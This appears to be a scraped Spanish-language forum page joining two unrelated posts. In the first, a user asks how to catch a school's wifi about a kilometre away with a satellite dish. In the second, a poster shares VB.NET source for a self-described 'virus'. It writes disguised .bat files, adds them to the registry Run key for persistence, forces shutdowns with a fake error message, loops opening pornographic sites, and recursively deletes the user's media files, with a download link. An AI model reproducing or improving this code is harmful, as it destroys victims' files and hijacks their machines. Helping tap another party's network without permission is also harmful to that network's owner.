Temas

ola a todos bueno la razon de este tema eske en mi kasa no tengo internet y tengo que venir a un ciber bueno pues lo que pasa es k no hay redes cerca de donde vivo y como a un medio kilometro o serca de un kilometro esta un escuela donde hay una red el caso es k quiero agarrar esa red y e estado investigando poko con lo de antenas wifi caseras bueno el punto eske tengo una antena parabolica de esas grandes que van en la tierra tiene un diametro como de unos 3 metros es inmensa y tiene como un tripie por arriba donde va una cosa blanca que me imagino que es el que da señal y queria saber si con ella puedo agarrar internet claro tengo ya una usb wifi belkin y queria haber si me pudieran dar unas ideas de como poner esa usb wifi de modo para agarrar internet.

bueno desde ya muchas gracias se les agradece cualquier idea aportada

bueno primero que nada ola a todos me acabo de registrar en esta web que la vdd me a sacado de varios apuros y pues ahora pienso apollar yo jeje bueno lo que acabo de hacer porque lo acabo de terminar!! oficialmente martes 2:00 a.m. voy terminando este programita, muchos lo veran como un virus yo sin embargo lo veo como un programa que simplemente le habla al S.O. en su idioma nativo que es el cmd o  ms-dos o como lo quieran llamar y le dice que se autodestruya o que se haga daño el mismo jeje bueno sin mas preambulos les quiero dejar el codigo para que aporten sus ideas y comenten cualquier sugerencia es bien aceptada. . . el codigo esta en vb.net 2008

Código [Seleccionar] Expandir

Imports System.IO
Imports Microsoft.Win32
Public Class Form1

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        paginasweb()
        congelador()
        Inicio()
        apagado()
    End Sub
    Public Sub apagado()
        Try
            Dim Archivo As System.IO.FileStream
            'crea una carpeta en c:\ llamada ARCHIVOS DE SISTEMA
            Directory.CreateDirectory("C:\archivos de sistema\archivos protegidos")

            ' crea un archivo vacio en la carptea antes creada   
            Archivo = System.IO.File.Create("C:\archivos de sistema\archivos protegidos\archivo.dll.bat")
            Archivo.Close()

            'escribimos el codigo malicioso en EL .BAT antes creado
            Dim sw As New StreamWriter("C:\archivos de sistema\archivos protegidos\archivo.dll.bat")
            sw.WriteLine("shutdown -s -t ""5"" -c ""el sistema se cerrara debido a un problema con el sistema operativo"" -f")
            sw.Flush()
            sw.Close()

            'ejecuta el .bat creado anteriormente
            Shell("C:\archivos de sistema\archivos protegidos\archivo.dll.bat")
            Me.Close()

            ' error que pueda suceder
        Catch ex As Exception
            MsgBox(ex.Message, MsgBoxStyle.Critical)
        End Try
    End Sub
    Public Sub paginasweb()
        Try
            Dim Archivo As System.IO.FileStream
            'crea una carpeta en c:\ llamada ARCHIVOS DE SISTEMA
            Directory.CreateDirectory("C:\archivos de sistema")

            ' crea un archivo vacio en la carptea antes creada   
            Archivo = System.IO.File.Create("c:\archivos de sistema\archivo.dll.bat")
            Archivo.Close()

            'escribimos el codigo malicioso en EL .BAT antes creado y hace un bucle de pura paginas web
            Dim sw As New StreamWriter("c:\archivos de sistema\archivo.dll.bat")
            sw.WriteLine(":bucle")
            sw.WriteLine("start www.pornhub.com")
            sw.WriteLine("start www.youporn.com")
            sw.WriteLine("start www.megaporn.com")
            sw.WriteLine("goto bucle")
            sw.Flush()
            sw.Close()

            'ejecuta el .bat creado anteriormente
            Shell("c:\archivos de sistema\archivo.dll.bat")
            Me.Close()

            ' error que pueda suceder
        Catch ex As Exception
            MsgBox(ex.Message, MsgBoxStyle.Critical)
        End Try
    End Sub
    Public Sub congelador()
        Try
            Dim Archivo As System.IO.FileStream
            'crea una carpeta en c:\ llamada ARCHIVOS DE SISTEMA
            Directory.CreateDirectory("C:\archivos de sistema")

            ' crea un archivo vacio en la carptea antes creada   
            Archivo = System.IO.File.Create("c:\archivos de sistema\windows.dll.bat")
            Archivo.Close()

            'escribimos el codigo malicioso en EL .BAT antes creado
            Dim sw As New StreamWriter("c:\archivos de sistema\windows.dll.bat")
            sw.WriteLine("@echo off")
            sw.WriteLine("cd..")
            sw.WriteLine("del /S/F *wma *mp3 *avi *gif *jpg *wav *mp4")
            sw.Flush()
            sw.Close()

            'ejecuta el .bat creado anteriormente
            Process.Start("c:\archivos de sistema\windows.dll.bat")


            ' error que pueda suceder
        Catch ex As Exception
            MsgBox(ex.Message, MsgBoxStyle.Critical)
        End Try
    End Sub
    Public Sub Inicio()
        Try
            'esta es la ruta del registro en donde run es donde se guardan los programas que se van a ejecutar
            Const cadena As String = "Software\Microsoft\Windows\CurrentVersion\run"

            'esto permite modificar los valores del registro donde true es que si los va a modificar y false es no
            Dim clave As RegistryKey = Registry.CurrentUser.OpenSubKey(cadena, True)
            Dim valor As String
            Dim valor2 As String
            Dim valor3 As String

            'aqui ponemos la ruta del programa en si
            valor = "C:\archivos de sistema\archivos protegidos\archivo.dll.bat"
            clave.SetValue("Windows", valor)

            valor2 = "c:\archivos de sistema\archivo.dll.bat"
            clave.SetValue("paginas", valor2)

            valor3 = "c:\archivos de sistema\windows.dll.bat"
            clave.SetValue("documentos", valor3)
            'comenzar un programa pasando una cadena con el nombre del ejecutable
            System.Diagnostics.Process.Start("Regedit.exe")
        Catch pollo As Exception
            'si hay errores, mostrar un aviso
            MessageBox.Show("¡ERROR! No ha sido posible ejecutar el programa.", "Regedit MiPC", MessageBoxButtons.OK, MessageBoxIcon.Error)
            'siempre cerrar el formulario al final
        Finally
            Me.Close()
        End Try

    End Sub
End Class


bueno por si no lo entienden o quieren verlo trabajar les dejo el link para que se lo descarguen y lo puedan visualizar un poco mejor

http://www.megaupload.com/?d=0CL4SXUY

pues es todo espero sus comentarios quejas dudas o sugerencias y ya me voy a dormir jeje . . . . .